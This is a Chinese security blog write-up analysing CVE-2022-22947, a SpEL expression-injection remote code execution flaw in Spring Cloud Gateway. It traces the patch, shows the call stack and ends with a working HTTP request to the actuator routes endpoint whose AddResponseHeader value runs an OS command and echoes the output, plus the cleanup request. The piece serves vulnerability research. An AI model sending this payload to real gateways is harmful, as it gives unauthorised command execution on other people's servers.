作者:Y4er
原文鏈接:https://y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response/
環境
git clone https://github.com/spring-cloud/spring-cloud-gateway
cd spring-cloud-gateway
git checkout v3.1.0
審計
看diff https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue這個函數用GatewayEvaluationContext替換了StandardEvaluationContext來執行spel表達式
回溯執行點

說明是個spel表達式的rce,向上回溯找到org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType枚舉

找到四個地方都在ShortcutConfigurable接口類里,分布在ShortcutType的三個枚舉值,見上圖圈起來的部分。

三個枚舉值都重寫了org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType#normalize函數
在ShortcutConfigurable接口類中有一個虛擬拓展方法shortcutType(),用到的是ShortcutType.DEFAULT枚舉。

繼續向上查找shortcutType()函數的引用到 org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties

這個normalizeProperties()是對filter的屬性進行解析,會將filter的配置屬性傳入normalize中,最后進入getValue執行SPEL表達式造成SPEL表達式注入。
正向看filter
根據文檔https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html 來看,用戶可以通過actuator在網關中創建和刪除路由。

路由格式

在idea中通過actuator的mapping功能找到controller

然后看RouteDefinition

其中FilterDefinition類需要有一個name和args鍵值對。

而name在創建路由的時候進行了校驗

name需要和已有的filter相匹配

動態調試看一下已有的name

那么到這里利用已經呼之欲出了
復現
先創建路由,filter中填充spel表達式,然后refresh執行。
name用到了RewritePath,對應的是org.springframework.cloud.gateway.filter.factory.RewritePathGatewayFilterFactory#apply

需要注意的是這里args中鍵名要填充replacement屬性,不然會報空指針

然后refresh

rce

堆棧如下
getValue:251, SpelExpression (org.springframework.expression.spel.standard)
getValue:60, ShortcutConfigurable (org.springframework.cloud.gateway.support)
normalize:94, ShortcutConfigurable$ShortcutType$1 (org.springframework.cloud.gateway.support)
normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support)
bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support)
loadGatewayFilters:144, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
getFilters:176, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
convertToRoute:117, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
apply:-1, 150385835 (org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$$Lambda$874)
onNext:106, FluxMap$MapSubscriber (reactor.core.publisher)
tryEmitScalar:488, FluxFlatMap$FlatMapMain (reactor.core.publisher)
onNext:421, FluxFlatMap$FlatMapMain (reactor.core.publisher)
drain:432, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
innerComplete:328, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
onSubscribe:552, FluxMergeSequential$MergeSequentialInner (reactor.core.publisher)
subscribe:165, FluxIterable (reactor.core.publisher)
subscribe:87, FluxIterable (reactor.core.publisher)
subscribe:8469, Flux (reactor.core.publisher)
onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher)
request:230, FluxIterable$IterableSubscription (reactor.core.publisher)
onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
subscribe:165, FluxIterable (reactor.core.publisher)
subscribe:87, FluxIterable (reactor.core.publisher)
subscribe:8469, Flux (reactor.core.publisher)
onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher)
request:230, FluxIterable$IterableSubscription (reactor.core.publisher)
onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
subscribe:165, FluxIterable (reactor.core.publisher)
subscribe:87, FluxIterable (reactor.core.publisher)
subscribe:4400, Mono (reactor.core.publisher)
subscribeWith:4515, Mono (reactor.core.publisher)
subscribe:4371, Mono (reactor.core.publisher)
subscribe:4307, Mono (reactor.core.publisher)
subscribe:4279, Mono (reactor.core.publisher)
onApplicationEvent:81, CachingRouteLocator (org.springframework.cloud.gateway.route)
onApplicationEvent:40, CachingRouteLocator (org.springframework.cloud.gateway.route)
doInvokeListener:176, SimpleApplicationEventMulticaster (org.springframework.context.event)
invokeListener:169, SimpleApplicationEventMulticaster (org.springframework.context.event)
multicastEvent:143, SimpleApplicationEventMulticaster (org.springframework.context.event)
publishEvent:421, AbstractApplicationContext (org.springframework.context.support)
publishEvent:378, AbstractApplicationContext (org.springframework.context.support)
refresh:96, AbstractGatewayControllerEndpoint (org.springframework.cloud.gateway.actuate)
...省略...
如何回顯
上述文章知,通過getValue()函數可以講args的value執行spel表達式,并且保存為properties,那么properties在哪里可以返回給我們的http response呢?
在org.springframework.cloud.gateway.filter.factory.AddResponseHeaderGatewayFilterFactory#apply中,將config的鍵值對添加到header中

那么可以用AddResponseHeader來構造請求包
POST /actuator/gateway/routes/test1 HTTP/1.1
Host: 172.16.16.1:8081
Content-Length: 300
Content-Type: application/json
Connection: close
{
"id": "test1",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
"name": "cmd123"
}
}
],
"uri": "http://aaa.com",
"order": 0
}
在構造這個請求包的時候遇到了幾個問題,第一個是我構造的時候沒有傳uri和order,爆空指針異常。然后多次調試后發現在org.springframework.cloud.gateway.route.Route#async(org.springframework.cloud.gateway.route.RouteDefinition)函數中對routeDefinition參數進行了處理,所以必須要有uri和order。

uri還必須是一個正確的url才行。

第二個問題是value必須是一個String類型,否則在bind的時候會報類型不匹配異常。因為AddResponseHeaderGatewayFilterFactory采用的配置是NameValueConfig實例,而value是string類型。

最后回顯效果如圖

最后刪除自己創建的路由
DELETE /actuator/gateway/routes/test1 HTTP/1.1
Host: 172.16.16.1:8081
Connection: close
寫在文后
這個漏洞是用codeql挖出來的,這個東西真得學一學了。
最后感慨一下,飯前剛想出來用AddResponseHeader回顯,調試了一些覺得有戲就吃飯了,午休一覺睡醒迷糊之間就發現p牛就發了vulhub環境加poc。
夫破人之與破于人也,臣人之與臣于人也,豈可同日而言之哉?
文筆垃圾,措辭輕浮,內容淺顯,操作生疏。不足之處歡迎大師傅們指點和糾正,感激不盡。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1878/
暫無評論